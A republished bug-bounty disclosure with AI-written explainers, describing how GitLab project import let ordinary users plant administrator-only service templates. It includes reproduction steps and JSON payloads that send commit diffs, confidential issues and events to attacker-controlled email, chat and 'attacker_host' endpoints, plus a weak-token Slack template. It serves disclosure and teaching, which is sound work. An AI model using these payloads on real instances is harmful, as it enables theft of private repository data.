Skip to content
Access control Disclosed report Intermediate

Exfiltrate and mutate repository and project data through injected templated service

The GitLab project import feature allowed a regular user to mark an integration as a service template, which is normally an administrator-only capability. Any project created afterwards automatically inherited the attacker's service, letting the attacker exfiltrate repository events, issues, merge requests and pipelines, or redirect issue and wiki links.

jobert Follow

Originally disclosed on HackerOne

Bounty$11,000 Critical 9.9 View original
  • Triaged in 10 hours
  • Fixed in 2 days
  • Paid in 2 days
  • Disclosed after 4 months

The GitLab import feature contains a vulnerability that allows an attacker to import a project that creates a service template. Service templates can normally only be created by a GitLab instance Administrator. When a new project is created, service templates are automatically initialized for the project that is being created. Initializing and saving the service templates is handled in the Projects::CreateService class:

app/services/projects/create_service.rb

Ruby
# ...
def create_services_from_active_templates(project)
  Service.where(template: true, active: true).each do |template|
    service = Service.build_from_template(project.id, template)
    service.save!
  end
end
# ...

This means that when an attacker has created a templated service that is valid, any project created after that, will automatically install the attacker's service for that project. There are multiple attacks possible with this, which will be described in the Impact section of this report. Depending on the strategy the attacker takes, it may impact Confidentiality, Integrity, as well as Availability.

Proof of concept

Attached you can find a tar file that injects a MockCiService as template to the GitLab instance: F377180. In order to manually reproduce this, follow the steps below.

  1. Sign in as any user
  2. Create a new project
  3. Enable the CI service through Settings > Integrations
  4. Export the project and download the export file
  5. Extract the files, it'll contain a project.json file
  6. Replace "template":false in the services array with "template":true
  7. Replace CiService in the services array with MockCiService
  8. Create a new tar file (tar -zcvf service_template.tar.gz project.json VERSION project.bundle)
  9. Upload the tar file
  10. Sign in as another user
  11. Create another project
  12. Immediately export the project and download the export file
  13. Extract the files
  14. Observe that the project.json file will contain the service created for the other project

Additional, seemingly, less severe issues

When looking into this feature, it was also observed that an attacker can create custom attributes for a project. I noticed that custom project attributes can only be created by an instance Administrator. However, by specifying custom attributes in the custom_attributes array, a user can create custom project attributes for the project that is being created. Depending on how the custom attributes are used on the instance, this may have additional consequences.

Impact

An attacker can decide on what strategy to take with this vulnerability. The most interesting ones that I could find are described below.

Exfiltrating repository event The EmailsOnPushService has the option to include a commit diff in an email. When the JSON below is added to the project.json file, any commit's diff will be emailed to the attacker.

JSON
{
  "id": 41858507,
  "title": "Email",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "send_from_committer_email": false,
    "disable_diffs": false,
    "recipients": "[email protected]"
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "ci",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "EmailsOnPushService"
}

Exfiltrating (confidential) issues, merge requests, pipelines, etc. The HipChat service, similar to Slack, is a service that responds to all events a project can trigger. Creating a template for this service will automatically send all new issues, notes, merge requests, pipeline updates, and pushes to a HipChat server. Below is the JSON object to inject a HipChat service template.

JSON
{
  "id": 41858507,
  "title": "HipChat",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "token": "some_token",
    "room": "room",
    "server": "",
    "color": "red",
    "api_version": ""
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "common",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "HipchatService"
}

Hidden services An attacker can leverage the MockCiService to inject a service that is not visible in the UI. The only mock service that interacts with an actual service is the MockCiService. The other two, MockDeploymentService and MockMonitoringService, do not interact with an external URL.

JSON
{
  "id": 41858507,
  "title": "MockCI",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "mock_service_url": "https://attacker_host/",
    "multiproject_enabled": "1",
    "pass_unstable": "0"
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "ci",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "MockCiService"
}

Unconfirmed: Mutating data The Slack service / integration allows a user to also interact with objects in a project. Because an attacker can force a weak token in the service template, it can then send an API request to the GitLab API to interact with the project. This could not be confirmed because I did not feel comfortable creating a Slack template on gitlab.com and I was not able to set up the Slack integration on my own GitLab instance. However, I was able to confirm that I was able to create this service on my own GitLab instance with a weak token (a). JSON below.

JSON
{
  "id": 41858507,
  "title": "Slack",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "token": "a"
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "common",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "SlackSlashCommandsService"
}

External services The two other services that had an interesting side effect were the ExternalWikiService and CustomIssueTrackerService. Both of them can be used to overwrite a project's Issue and Wiki URL in their project. This may be used to social engineer users into creating issues on a domain that is controlled by the attacker.

The original report as published on HackerOne, by jobert. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

GitLab's project import feature lets a user bring an existing project into an instance from an export archive. That archive contains a project.json file describing the project, a VERSION file and a project.bundle containing the repository. Among the data in project.json is a services array, which describes the integrations (services) attached to the project.

GitLab also supports service templates: integrations that are applied automatically to every newly created project on the instance. Service templates are an administrative concept, and normally only an instance Administrator can create one. The import path, however, accepted a services array from an ordinary user and honoured the template flag inside it.

Setup

The report does not describe the test environment beyond the proof of concept steps. The proof of concept needs only ordinary user accounts: one account to craft and upload the malicious export, and a second account to create a project and observe the injected service. No administrator access is required at any point.

The report does not give a GitLab version number. The proof of concept was distributed as a tar file that injects a MockCiService as a template into the instance, referenced as F377180.

Finding it

The starting point is the code that runs when a project is created. Projects::CreateService initialises the project's services from the active templates:

app/services/projects/create_service.rb

Ruby
# ...
def create_services_from_active_templates(project)
  Service.where(template: true, active: true).each do |template|
    service = Service.build_from_template(project.id, template)
    service.save!
  end
end
# ...

This query selects every service row with template: true and active: true, regardless of who created it, and builds a copy of each one for the new project. The security of the whole feature therefore rests on one assumption: that only an Administrator can ever produce a row with template: true. The import feature broke that assumption, because the template flag in the imported services array was taken from user-supplied JSON.

Once a valid templated service exists, every project created afterwards automatically installs the attacker's service. The report notes that depending on the strategy chosen this can affect Confidentiality, Integrity and Availability.

Exploitation

Step 1: Create a project and enable the CI service

Sign in as any user, create a new project, and enable the CI service through Settings > Integrations. This gives a legitimate service entry to use as a starting point for the crafted export.

Step 2: Export the project

Export the project and download the export file, then extract it. The archive contains a project.json file.

Step 3: Edit the service entry

In project.json, inside the services array, replace "template":false with "template":true, and replace CiService with MockCiService. The first change is the privilege escalation: it marks the service as a template. The second selects the MockCiService type.

Step 4: Repackage the export

Create a new tar file containing the modified project.json together with the original VERSION and project.bundle:

Bash
tar -zcvf service_template.tar.gz project.json VERSION project.bundle

Step 5: Upload the archive

Upload the tar file through the import feature. The import creates a service row with template: true, which is what create_services_from_active_templates looks for.

Step 6: Confirm the injection with a second account

Sign in as another user, create another project, then immediately export the project and download the export file. Extract the files and observe that the project.json file contains the service created for the other project. The second user never configured anything; the service arrived through the template mechanism.

A second, less severe issue: custom attributes

While looking into the import feature, the researcher also observed that a user can create custom attributes for a project by specifying them in the custom_attributes array of the import. Custom project attributes can normally only be created by an instance Administrator. Depending on how custom attributes are used on the instance, this may have additional consequences.

Root cause

The import path trusted the template flag in user-supplied project.json and persisted it as-is. The template mechanism in Projects::CreateService then treated any such row as administrator-created configuration and copied it into every new project. The import path accepted the template flag from an ordinary user. The same pattern applied to custom_attributes, which normally only an instance Administrator can create.

Impact

The attacker chooses the strategy. The report describes the following, with its own hedges.

Exfiltrating repository events. EmailsOnPushService can include a commit diff in an email. Adding the JSON below to project.json causes any commit's diff to be emailed to the attacker:

JSON
{
  "id": 41858507,
  "title": "Email",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "send_from_committer_email": false,
    "disable_diffs": false,
    "recipients": "[redacted]"
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "ci",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "EmailsOnPushService"
}

The recipients property points at the attacker, disable_diffs is false so diffs are included, and template is true so the service is applied to every new project.

Exfiltrating confidential issues, merge requests, pipelines and more. The HipChat service, similar to Slack, responds to all events a project can trigger. A template for this service automatically sends all new issues, notes, merge requests, pipeline updates and pushes to a HipChat server:

JSON
{
  "id": 41858507,
  "title": "HipChat",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "token": "some_token",
    "room": "room",
    "server": "",
    "color": "red",
    "api_version": ""
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "common",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "HipchatService"
}

The properties block carries the token, room and server the events are delivered to, and the event flags include confidential_issues_events and confidential_note_events.

Hidden services. The MockCiService can be used to inject a service that is not visible in the UI. Of the mock services, only MockCiService interacts with an actual service; MockDeploymentService and MockMonitoringService do not interact with an external URL.

JSON
{
  "id": 41858507,
  "title": "MockCI",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "mock_service_url": "https://attacker_host/",
    "multiproject_enabled": "1",
    "pass_unstable": "0"
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "ci",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "MockCiService"
}

The mock_service_url points at the attacker's host, and because the service is not shown in the UI, the project owner has no obvious way to notice it.

Mutating data (unconfirmed). The Slack service allows a user to interact with objects in a project. Because the attacker can force a weak token into the service template, it could then send an API request to the GitLab API to interact with the project. The researcher could not confirm this: they did not feel comfortable creating a Slack template on gitlab.com and could not set up the Slack integration on their own GitLab instance. They did confirm that the service could be created on their own instance with a weak token (a):

JSON
{
  "id": 41858507,
  "title": "Slack",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "token": "a"
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "common",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "SlackSlashCommandsService"
}

External services. ExternalWikiService and CustomIssueTrackerService can overwrite a project's Issue and Wiki URL. This may be used to social engineer users into creating issues on a domain controlled by the attacker.

Fix

Variants to test

  • Import a project with "template": true on a service and check whether a second, unrelated project receives that service. A positive result is the service appearing in the second project's export without the second user configuring it.
  • Import with a custom_attributes array and check whether the attributes are created on the new project. A positive result is administrator-only attributes appearing on a project created by an ordinary user.
  • Try other administrator-only fields in the import JSON and see whether they are honoured for a non-administrator. A positive result is the imported value surviving into the created project.
  • Try the mock service types (MockCiService, MockDeploymentService, MockMonitoringService) and check whether they appear in the UI. A positive result is a service that is active but not visible to the project owner.

Hunting notes

This kind of bug hides in import and export paths, where a serialised representation of an object is accepted back from the user and fields that are normally privileged are not filtered. The signal during recon is a feature that round-trips JSON or archives containing configuration: project import, group import, template import, backup restore. Look for fields whose names suggest privilege (template, admin, custom_attributes, visibility) and check whether the import path validates them against the caller's role. The impact was shown by a second account creating a project and exporting it to reveal the injected service, which demonstrates cross-user effect without needing administrator access.

The report was rated critical with a CVSS of 9.9 and a bounty of 11,000 USD, disclosed on 5 March 2019.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

GitLab is a website where teams keep their code, track tasks (called issues), and review each other's work (called merge requests). It can be used on the public gitlab.com service or installed on your own server. One of its features lets you move a project from one place to another by exporting it as a file and importing it again.

That import feature had a hole. When you import a project, GitLab reads a small settings file inside the archive and believes what it says. One of the things it believed was a flag called template. A template, in GitLab's world, is a ready-made integration that gets copied automatically into every new project on the whole server. Only a server Administrator is supposed to be able to create one. The import let any ordinary user create one anyway.

Once an attacker has planted such a template, every project created afterwards, by anyone, silently receives the attacker's integration. That integration can then quietly send data out: commit contents, issues, merge requests, pipeline updates. The attacker never needs an administrator account.

Some background you need first

Before the details make sense, here are the ideas the whole bug rests on.

A service (integration). GitLab can talk to other systems. When something happens in a project, GitLab can send a message about it somewhere else: an email, a chat room, a task tracker. Each of these connections is called a service or an integration. You switch them on in a project's settings.

A service template. Instead of configuring the same integration in every project by hand, an administrator can define it once as a template. From then on, every newly created project gets a copy of it automatically. Think of it like a default ringtone that every new phone on a company plan ships with: set it once at head office, and every new handset has it out of the box.

The import and export feature. Exporting a project produces an archive file (a single file that bundles several files together, like a zip). Importing takes that archive and rebuilds the project from it. The archive contains a project.json file, which is a plain text file describing the project's settings in a format called JSON. JSON is just a way of writing data as labelled values, similar to a very structured shopping list.

The services array. Inside project.json there is a list (an array) called services. Each entry in that list describes one integration attached to the project: which type it is, whether it is switched on, and its settings.

The template flag. Each service entry has a true/false switch called template. True means "this is a server-wide template". False means "this is just a normal integration for this one project".

Administrator versus ordinary user. An Administrator is the person who runs the whole GitLab server. An ordinary user is anyone with an account. The whole security of templates depends on the idea that only an Administrator can flip that switch to true.

Confidentiality, Integrity and Availability. These are the three classic things security protects. Confidentiality means keeping secrets secret. Integrity means keeping data correct and unaltered. Availability means keeping the service usable. A bug that lets an attacker read data, change data, or break things touches one or more of these.

API. An API is a way for one program to talk to another over the internet, without a human clicking buttons. It is like a service counter at a bank: you hand over a request in a fixed format and get a fixed kind of answer back. GitLab has an API that programs can use to read and change projects.

Token. A token is a long random string that acts like a password for a program. If someone else learns your token, they can act as you through the API. A weak token is one that is short or guessable, like a single letter.

Exfiltration. Exfiltration means sneaking data out of a system to a place the attacker controls. It is the difference between a burglar reading your diary at home and photocopying it and posting it to themselves.

Social engineering. Social engineering means tricking a person rather than a computer: for example, making a link look like the real thing so someone types their details into a fake page.

Setup

The report does not describe the test environment beyond the proof of concept steps. A self-hosted instance is simply GitLab installed on your own machine or server, so you can experiment freely.

The proof of concept needs only ordinary user accounts. One account crafts and uploads the malicious export. A second account creates a project and shows that the injected service arrived. No administrator access is needed at any point.

The report does not give a GitLab version number. The proof of concept was shared as a tar file that injects a MockCiService as a template into the instance, referenced as F377180. A tar file is another kind of archive, common on Linux, that packs several files into one.

Finding it

The starting point is the code that runs whenever a project is created. A class called Projects::CreateService sets up the new project's services from the active templates:

app/services/projects/create_service.rb

Ruby
# ...
def create_services_from_active_templates(project)
  Service.where(template: true, active: true).each do |template|
    service = Service.build_from_template(project.id, template)
    service.save!
  end
end
# ...

Line by line:

  • # ... marks places where the report has cut out surrounding code. It is not part of the logic.
  • def create_services_from_active_templates(project) starts a function (a named block of code) that takes one input, the new project.
  • Service.where(template: true, active: true) asks the database for every service record where the template switch is true and the active switch is true. It does not ask who created that record. That is the crucial detail.
  • .each do |template| loops over every record found, one at a time, calling each one template.
  • service = Service.build_from_template(project.id, template) makes a fresh copy of that template, tied to the new project's id.
  • service.save! stores the copy in the database. The exclamation mark means "raise an error if this fails" rather than failing silently.
  • end closes the loop, and the second end closes the function.

The security of the whole feature rests on one assumption: that only an Administrator can ever produce a record with template: true. The import feature broke that assumption, because the template flag in the imported services list was taken straight from JSON that the user supplied.

Once a valid templated service exists, every project created afterwards automatically installs the attacker's service. Depending on the strategy chosen, this can affect Confidentiality, Integrity and Availability.

Exploitation

Step 1: Create a project and enable the CI service

Sign in as any user, create a new project, and enable the CI service through Settings > Integrations. CI stands for continuous integration, an automated build-and-test process. This step exists purely to give you a legitimate service entry to use as a starting point for the crafted export. You are producing a normal, harmless example first, then editing it.

Step 2: Export the project

Export the project and download the export file, then extract it. Extracting means unpacking the archive back into individual files. The archive contains a project.json file.

Step 3: Edit the service entry

In project.json, inside the services list, replace "template":false with "template":true, and replace CiService with MockCiService.

The first change is the privilege escalation: it marks the service as a server-wide template, something an ordinary user should not be able to do. The second change selects a service type that is not shown in the user interface, which is covered under Hidden services below.

Step 4: Repackage the export

Create a new tar file containing the modified project.json together with the original VERSION and project.bundle:

Bash
tar -zcvf service_template.tar.gz project.json VERSION project.bundle

Line by line:

  • tar is the archiving program.
  • -z compresses the result, so the file is smaller.
  • -c means create a new archive.
  • -v means verbose: print each file name as it is added, so you can see progress.
  • -f service_template.tar.gz means write the archive to that file name.
  • project.json VERSION project.bundle are the three files to pack. project.json is the edited settings file, VERSION records the export format version, and project.bundle holds the actual repository contents.

Step 5: Upload the archive

Upload the tar file through the import feature. The import creates a service record with template: true, which is what create_services_from_active_templates looks for. In other words, the attacker has just planted a default that the server will hand to every future project.

Step 6: Confirm the injection with a second account

Sign in as another user, create another project, then immediately export the project and download the export file. Extract the files and observe that the project.json file contains the service created for the other project. The second user never configured anything; the service arrived through the template mechanism. Using a second account is what proves the effect crosses from one user to another.

A second, less severe issue: custom attributes

While looking into the import feature, the researcher also observed that a user can create custom attributes for a project by specifying them in the custom_attributes list of the import. Custom project attributes are extra labels attached to a project, and normally only an instance Administrator can create them. Depending on how custom attributes are used on the instance, this may have additional consequences. The report does not spell out those consequences.

Root cause

The import path trusted the template flag in user-supplied project.json and saved it as-is. The template mechanism in Projects::CreateService then treated any such record as administrator-created configuration and copied it into every new project. The import path accepted the template flag from an ordinary user. The same pattern applied to custom_attributes, which normally only an instance Administrator can create.

A useful comparison: it is like a hotel check-in form that has a box marked "staff only" and the front desk accepts whatever the guest ticks, then treats the guest as staff for the rest of the stay.

Impact

The attacker chooses the strategy. The report describes the following, with its own hedges about what was and was not confirmed.

Exfiltrating repository events. EmailsOnPushService can include a commit diff in an email. A commit is a saved change to the code, and a diff is the before-and-after view of that change. Adding the JSON below to project.json causes any commit's diff to be emailed to the attacker:

JSON
{
  "id": 41858507,
  "title": "Email",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "send_from_committer_email": false,
    "disable_diffs": false,
    "recipients": "[redacted]"
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "ci",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "EmailsOnPushService"
}

Line by line:

  • id, project_id, created_at, updated_at are bookkeeping fields: a record number and timestamps. They identify the record and when it was made and changed.
  • title is the display name, here "Email".
  • active: true means the integration is switched on.
  • properties holds the settings specific to this integration.
  • send_from_committer_email: false means the email is not sent as the person who made the commit.
  • disable_diffs: false means diffs are included. Setting it to true would leave them out, which is the opposite of what an attacker wants.
  • recipients: "[redacted]" is the email address the messages go to. This is the exfiltration destination.
  • template: true is the privilege escalation: this makes the entry a server-wide template.
  • The many ..._events: true flags decide which activities trigger a message: pushes, issues, merge requests, tags, notes (comments), wiki pages, pipelines, commits, jobs, and the confidential versions of issues and notes.
  • category: "ci" groups the integration under continuous integration in the interface.
  • default: false means it is not one of GitLab's built-in defaults.
  • type: "EmailsOnPushService" names the integration class that handles this entry.

The recipients property points at the attacker, disable_diffs is false so diffs are included, and template is true so the service is applied to every new project.

Exfiltrating confidential issues, merge requests, pipelines and more. The HipChat service, similar to Slack, responds to all events a project can trigger. HipChat was a team chat product. A template for this service automatically sends all new issues, notes, merge requests, pipeline updates and pushes to a HipChat server:

JSON
{
  "id": 41858507,
  "title": "HipChat",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "token": "some_token",
    "room": "room",
    "server": "",
    "color": "red",
    "api_version": ""
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "common",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "HipchatService"
}

Line by line:

  • The bookkeeping fields (id, project_id, created_at, updated_at) and title work as before.
  • active: true switches the integration on.
  • properties.token: "some_token" is the credential used to post into the chat service.
  • properties.room: "room" is the chat room the messages land in.
  • properties.server: "" is the chat server address, left empty here.
  • properties.color: "red" sets the message colour.
  • properties.api_version: "" is the version of the chat service's API, also left empty.
  • template: true makes it a server-wide template.
  • The event flags again cover pushes, issues, merge requests, tags, notes, wiki pages, pipelines, commits, jobs, and the confidential issue and note events.
  • category: "common" groups it under general integrations.
  • type: "HipchatService" names the integration class.

The properties block carries the token, room and server the events are delivered to, and the event flags include confidential_issues_events and confidential_note_events. Confidential issues are issues marked private, so this is the part that turns a nuisance into a data leak.

Hidden services. The MockCiService can be used to inject a service that is not visible in the interface. A mock service is a stand-in used for testing. Of the mock services, only MockCiService interacts with an actual service; MockDeploymentService and MockMonitoringService do not interact with an external URL.

JSON
{
  "id": 41858507,
  "title": "MockCI",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "mock_service_url": "https://attacker_host/",
    "multiproject_enabled": "1",
    "pass_unstable": "0"
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "ci",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "MockCiService"
}

Line by line:

  • The bookkeeping fields and title are as before.
  • active: true switches it on.
  • properties.mock_service_url: "https://attacker_host/" is the address the service talks to. This is the attacker's own server.
  • properties.multiproject_enabled: "1" is a setting stored as the text "1", which here means switched on.
  • properties.pass_unstable: "0" is another text-stored switch, here off.
  • The event flags and category: "ci" behave as before.
  • type: "MockCiService" names the integration class.

The mock_service_url points at the attacker's host, and because the service is not shown in the interface, the project owner has no obvious way to notice it. That invisibility is the point: a visible integration could be spotted and removed.

Mutating data (unconfirmed). The Slack service allows a user to interact with objects in a project. Slack is a team chat product. Because the attacker can force a weak token into the service template, it could then send an API request to the GitLab API to interact with the project. The researcher could not confirm this: they did not feel comfortable creating a Slack template on gitlab.com and could not set up the Slack integration on their own GitLab instance. They did confirm that the service could be created on their own instance with a weak token (a):

JSON
{
  "id": 41858507,
  "title": "Slack",
  "project_id": 9465078,
  "created_at": "2018-11-18T01:22:06.990Z",
  "updated_at": "2018-11-18T01:22:06.990Z",
  "active": true,
  "properties": {
    "token": "a"
  },
  "template": true,
  "push_events": true,
  "issues_events": true,
  "merge_requests_events": true,
  "tag_push_events": true,
  "note_events": true,
  "category": "common",
  "default": false,
  "wiki_page_events": true,
  "pipeline_events": true,
  "confidential_issues_events": true,
  "commit_events": true,
  "job_events": true,
  "confidential_note_events": true,
  "type": "SlackSlashCommandsService"
}

Line by line:

  • active: true switches it on.
  • properties.token: "a" is the weak token: a single letter, trivially guessable.
  • The event flags and category: "common" behave as before.
  • type: "SlackSlashCommandsService" names the integration class, here the one that handles Slack slash commands.

External services. ExternalWikiService and CustomIssueTrackerService can overwrite a project's Issue and Wiki URL. A wiki is a set of editable documentation pages. This may be used to social engineer users into creating issues on a domain controlled by the attacker: the link looks like part of the project, but it leads somewhere else.

Fix

Variants to test

These are follow-up checks in the same spirit, useful if you want to look for similar holes:

  • Import a project with "template": true on a service and check whether a second, unrelated project receives that service. A positive result is the service appearing in the second project's export without the second user configuring it.
  • Import with a custom_attributes list and check whether the attributes are created on the new project. A positive result is administrator-only attributes appearing on a project created by an ordinary user.
  • Try other administrator-only fields in the import JSON and see whether they are honoured for a non-administrator. A positive result is the imported value surviving into the created project.
  • Try the mock service types (MockCiService, MockDeploymentService, MockMonitoringService) and check whether they appear in the interface. A positive result is a service that is active but not visible to the project owner.

Hunting notes

This kind of bug hides in import and export paths, where a saved representation of an object is accepted back from the user and fields that are normally privileged are not filtered. The signal during recon is a feature that round-trips JSON or archives containing configuration: project import, group import, template import, backup restore. Look for fields whose names suggest privilege (template, admin, custom_attributes, visibility) and check whether the import path validates them against the caller's role. The impact was shown by a second account creating a project and exporting it to reveal the injected service, which demonstrates a cross-user effect without needing administrator access.

The report was rated critical with a CVSS of 9.9 and a bounty of 11,000 USD, disclosed on 5 March 2019. CVSS is a standard scoring system for the severity of a security flaw, where 10 is the maximum.

Glossary

  • API: a fixed way for one program to talk to another over the internet, without a human clicking buttons.
  • Archive: a single file that bundles several files together, such as a zip or tar file.
  • Array: an ordered list of values inside JSON, written between square brackets.
  • Availability: the property of a system being usable when needed.
  • Bounty: a payment made to a researcher who reports a security flaw.
  • CI (continuous integration): an automated process that builds and tests code whenever it changes.
  • Commit: a saved change to a project's code.
  • Confidential issue: an issue marked private, visible only to chosen people.
  • Confidentiality: the property of keeping secrets secret.
  • Cookie: a small piece of data a website stores in your browser to remember who you are; not used in this report but common in web security.
  • Cross-user effect: one user's action affecting another user's account or data.
  • CVSS: a standard scoring system for the severity of a security flaw, from 0 to 10.
  • Diff: the before-and-after view of a change to code.
  • Exfiltration: sneaking data out of a system to a place the attacker controls.
  • Export: producing an archive file that describes a project so it can be moved elsewhere.
  • Flag: a true/false switch in a settings file.
  • Function: a named block of code that performs a task.
  • GitLab: a website or self-hosted server for storing code and managing software projects.
  • HipChat: a team chat product that GitLab can send project events to.
  • Import: rebuilding a project from an exported archive file.
  • Integration (service): a connection from GitLab to another system, such as email or chat.
  • Integrity: the property of data staying correct and unaltered.
  • Issue: a task or bug report tracked inside a project.
  • JSON: a plain text format for writing data as labelled values.
  • Merge request: a request to review and merge a change into a project's code.
  • Mock service: a stand-in integration used for testing rather than real use.
  • Pipeline: the automated sequence of build and test steps for a change.
  • Privilege escalation: gaining a level of access you are not supposed to have.
  • Project: a container in GitLab holding code, issues and settings.
  • Recon: the early stage of security testing where you look around for weak spots.
  • Root cause: the underlying reason a flaw exists.
  • Self-hosted instance: GitLab installed and run on your own machine or server.
  • Service template: an integration defined once by an administrator and copied automatically into every new project.
  • Slack: a team chat product that GitLab can connect to.
  • Social engineering: tricking a person rather than a computer, for example with a convincing fake link.
  • Tar file: a Linux archive format that packs several files into one.
  • Token: a long random string that acts like a password for a program.
  • Vulnerability: a weakness in software that someone can abuse.
  • Wiki: a set of editable documentation pages attached to a project.

More by jobert

View all

67 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.